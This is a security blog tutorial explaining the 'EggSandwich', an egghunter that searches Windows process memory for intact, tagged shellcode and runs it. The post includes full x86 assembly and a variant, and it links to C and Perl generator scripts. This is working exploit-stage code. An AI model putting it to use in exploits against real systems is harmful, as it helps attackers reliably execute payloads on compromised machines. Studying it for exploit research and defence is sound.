Google

EggSandwich – An Egghunter with Integrity

Written on:February 12, 2015
Comments are closed

eggsandwich6

Introduction

A while back I introduced the EggSandwich in my tutorial on Egghunting as a means to implement some basic integrity checks into the traditional Egghunter and overcome the problem of fragmented / corrupted shellcode. I recently took the opportunity to update my implementation so it could accomodate shellcode of any size. The code and a brief explanation follows.

What is the EggSandwich?

I ran into a situation when developing an exploit for an application in which my shellcode was corrupted in multiple locations but left intact in one occurrence. Unfortunately, the corrupted versions of the shellcode appeared first in memory and the Egghunter never reached the valid payload.

eggsandwich4
It was a situation that definitely called for an Egghunter (as I could not reliably jump to the valid copy of my shellcode) but I needed to figure out a way for that Egghunter to be smart enough to know when it reached the valid payload and skip all of the rest.

When I wrote my tutorial on Egghunting one of the things I covered was dealing with corrupted shellcode. There are a few of different methods you can use, which include 1) changing the shellcode offset, 2) changing the starting memory page, and 3) using the Omelette Egghunter (breaking up your shellcode into smaller chunks. I won’t go over these again (feel free to check out that tutorial for more information) but changing the shellcode offset didn’t fix the problem and I didn’t feel like experimenting with smaller shellcode chunks due to the sheer number of copies the application put in memory.

Instead, I decided that a better approach would be to “sandwich” my shellcode between two egg tags. Along with those egg tags I included an additional byte that represented the total length of the shellcode. The Egghunter would use that byte to jump ahead and verify the presence of both tags before executing the shellcode (thereby avoiding shellcode fragments of invalid lengths). If the shellcode failed this integrity check, the Egghunter would move on to the next copy in memory (and so on) until an intact version was located.

My initial POC was limited in that it only used a single byte for the shellcode length, limiting it to less than 255 total bytes in length — not very accommodating for most payloads!

I decided to update that POC to accomodate shellcode of any length and I added an additional check to verify the order of tag discovery (to prevent a false positive should the second egg be found first). This updated version of the EggSandwich Egghunter is described in the following sections.

How Does It Work?

Let’s assume you have a shellcode payload of length 510 bytes and you’re using an egg tag of PWND. Your payload would look as follows:

eggsandwich1Let’s quickly walk through each of the eggs so you understand their purpose.

Egg 1

eggsandwich2

Here I prepend the shellcode with the first egg tag (PWNDPWND) as well as a series of bytes that represents the size of the shellcode or the offset to egg 2 (also taking into account the five bytes that make up the offset tags). For example, in a scenario where your shellcode is 510 bytes in size, the offset bytes would be 0xff + 0xff + 0x05 (or 255 + 255 + 5 = 515).  These bytes are sandwiched between two tag identifiers (0x1) so the  EggSandwich Egghunter knows when to start and stop processing them.

When the Egghunter finds the first tag, it checks the byte immediately following. If it’s 0x1 it knows this is the first tag and the bytes that follow represent the size of shellcode, until it reaches another 0x1. For each offset length byte that it processes, it adds that value to a register holding the current address and increments an “integrity” counter (in register ECX). Assuming the shellcode is intact, once all of the offset bytes are processed, the register holding the shellcode location will now point to the second egg tag (PWNDPWND).

Egg 2

eggsandwich3

The Egghunter checks the register holding the updated address for the presence of the second egg and if it finds the correct tag (PWNDPWND), it checks the next byte (0x2) to verify its found the second egg and not the first. The byte that follows (0x3) indicates the total number of offset bytes from tag 1 (0xff, 0xff, 0x5). Since the Eggsandwich code from Egg #1 was incrementing a counter in ECX for each offset byte it encountered, if ECX matches the value, it can be sure that it is processing the eggs in order, at which point it executes the shellcode. If the Egghunter does not find the second egg immediately following the first, it clears ECX.

It is this latter check that provides an extra bit of integrity verification that it necessary if your shellcode becomes fragmented. For example, let’s say the Egghunter processes the first egg attached to a corrupted form of your shellcode and jumps to the updated address looking for the second egg. Because the shellcode is corrupted, it would not find the tag (PWNDPWND) and the next loop would clear the ECX register used for the integrity check. Now let’s say the next egg the Egghunter comes across in memory is the second one (due to another corrupted copy of shellcode). It would check the integrity byte against the value in ECX and fail the check, at which point it would move on to the next egg and skip the corrupted payload altogether.

Here is a generalized flow diagram so you get a high-level idea of how it works before diving into the code:

eggsandwich5

The Code

Here’s a look at the assembly:

entry:
loop_inc_page:
	or dx,0x0fff         ; add PAGE_SIZE - 1 to EDX to get the last address in the page 

loop_inc_one:
	inc edx              ; increment EDX by 1 to get current address

check_memory:
	push edx             ; save current address to stack
	push 0x02            ; push Syscall for NtAccessCheckAndAuditAlarm to stack
	pop eax              ; pop syscall parameter into EAX for syscall
	int 0x2e             ; issue interrupt to make syscall
	cmp al,0x5           ; compare low order byte of eax to 0x5 (indicates access violation)
	pop edx              ; restore EDX from the stack
	je loop_inc_page	  ; if zf flag = 1, access violation, jump back to loop_inc_page
	xor ecx,ecx          ; clear counter register for check egg function
	mov edi, edx         ; move current address into edi for use in scasd instruction

check_egg:
	mov eax,0x444e5750   ; valid address, move egg value (PWND) into EAX for comparison
	scasd                ; compare value in EAX to dword value addressed by EDI
                          ; increments EDI by 4 if DF flag is 0 or decrements if 1
	jnz loop_inc_one     ; egg not found, jump back to loop_inc_one
	scasd                ; first half of egg found, compare next half
	jnz loop_inc_one	  ; only first half found, jump back to loop_inc_one

found_egg:
	mov esi,edi          ; first egg found, move start address of shellcode to ESI for LODSB  
	xor eax, eax         ; clear EAX for add/sub instructions
	lodsb                ; loads egg number (1 or 2) into AL
	cmp al,0x1           ; determine if this is the first egg or second egg
	lodsb                ; this will either load the offset (first egg) or chunk count (second egg) into AL
	jz first_egg         ; if first egg, go to first_egg
	jmp second_egg       ; second egg found, go to second_egg

first_egg:
	inc ecx              ; increment egg counter to represent first egg	
	add edi, eax         ; increment EDX by size of shellcode to point to 2nd egg for next check_egg
	lodsb                ; loads egg number check into AL
	cmp al,0x1           ; determine if this is the end of the first egg
	jnz first_egg        ; still more offsets left in first egg; jump back to beginning of first_egg
	mov ebx,esi          ; move start of shellcode into EBX for second_egg
	jmp check_egg        ; end of first egg, jump back to check_egg to search for second egg

second_egg: 
	cmp al,cl            ; check if egg2 chunk count matches cl counter
	jnz check_egg        ; if not, egg2 likely found first, indicating shellcode fragment
	jmp ebx              ; otherwise, execute shellcode

 

Here’s a copy of some example C code you can compile so you can see exactly how this works in your debugger.

EggSandwich2
EggSandwich2.c
Version: 2.0
9.0 KiB
1402 Downloads
Details

Also, here is a perl script to generate the EggSandwich shellcode to use in your own exploits:

4.2 KiB
2017 Downloads
Details

The Drawbacks

There are a few drawbacks to using the EggSandwich, making it unnecessary if you don’t require some form of integrity check in your Egghunter-based exploit.

Size

The first and most obvious drawback of using the EggSandwich is its size. At 62 bytes, it is almost twice the size of Matt Miller’s original 32-byte Egghunter. There are also the additional bytes appended and prepended to the shellcode, which will add around 14 additional bytes to your payload, depending on its size. That said, 62 bytes is still relatively small and if you have a buffer large enough (but still too small for a 500+ byte exploit payload) and need to implement some form of integrity check, you may find this useful.

Assumptions

Second, the integrity check is not foolproof. As you will notice in the Assembly presented in the previous section, several of the integrity checks make assumptions in the interest of keeping the EggSandwich as small as possible. For example, if the first byte after the Egg tag is 0x1, it knows it has found the first egg otherwise it assumes it has found the second. There is no check to validate that that byte value is 0x2, just that it’s not 0x1. The integrity byte will help in this situation, though it is also assumed that if it matches ECX, the shellcode is intact. If that integrity check byte becomes corrupted and changed to 0x0, it may lead to a false positive detection. If you really needed to address this issue, you could modify the second egg check as follows:

second_egg: 
	cmp al,cl  	     ;  check if egg2 chunk count matches cl counter
	jnz check_egg   ;  if not, egg2 likely found first, indicating shellcode fragment
	xor eax, eax    ;  clear eax
	cmp cl,al       ;  check if egg2 chunk count is 0
	jz check_egg    ;  0 is an invalid value, jump back to check_egg
	jmp ebx		         ;  otherwise, execute shellcode

Of course this adds to the length of the Egghunter so you would only need to make adjustments if its absolutely necessary.

Length Not Content

Third, this additional integrity check only validates original shellcode length, not its content. If bad characters are altered by an application in a one-to-one swap (vs character expansion), then the shellcode size will remain the same yet your exploit will not run. This only provides protection against shellcode that becomes split or partially saved in memory thereby altering its size in some way.

Conclusion

While not without drawbacks, if you need to implement some basic integrity checks into your Egghunter to prevent it from executing fragmented shellcode you may find the EggSandwich useful. Feel free to modify or make improvements to suit your needs!

Until next time,

Mike

Sorry, the comment form is closed at this time.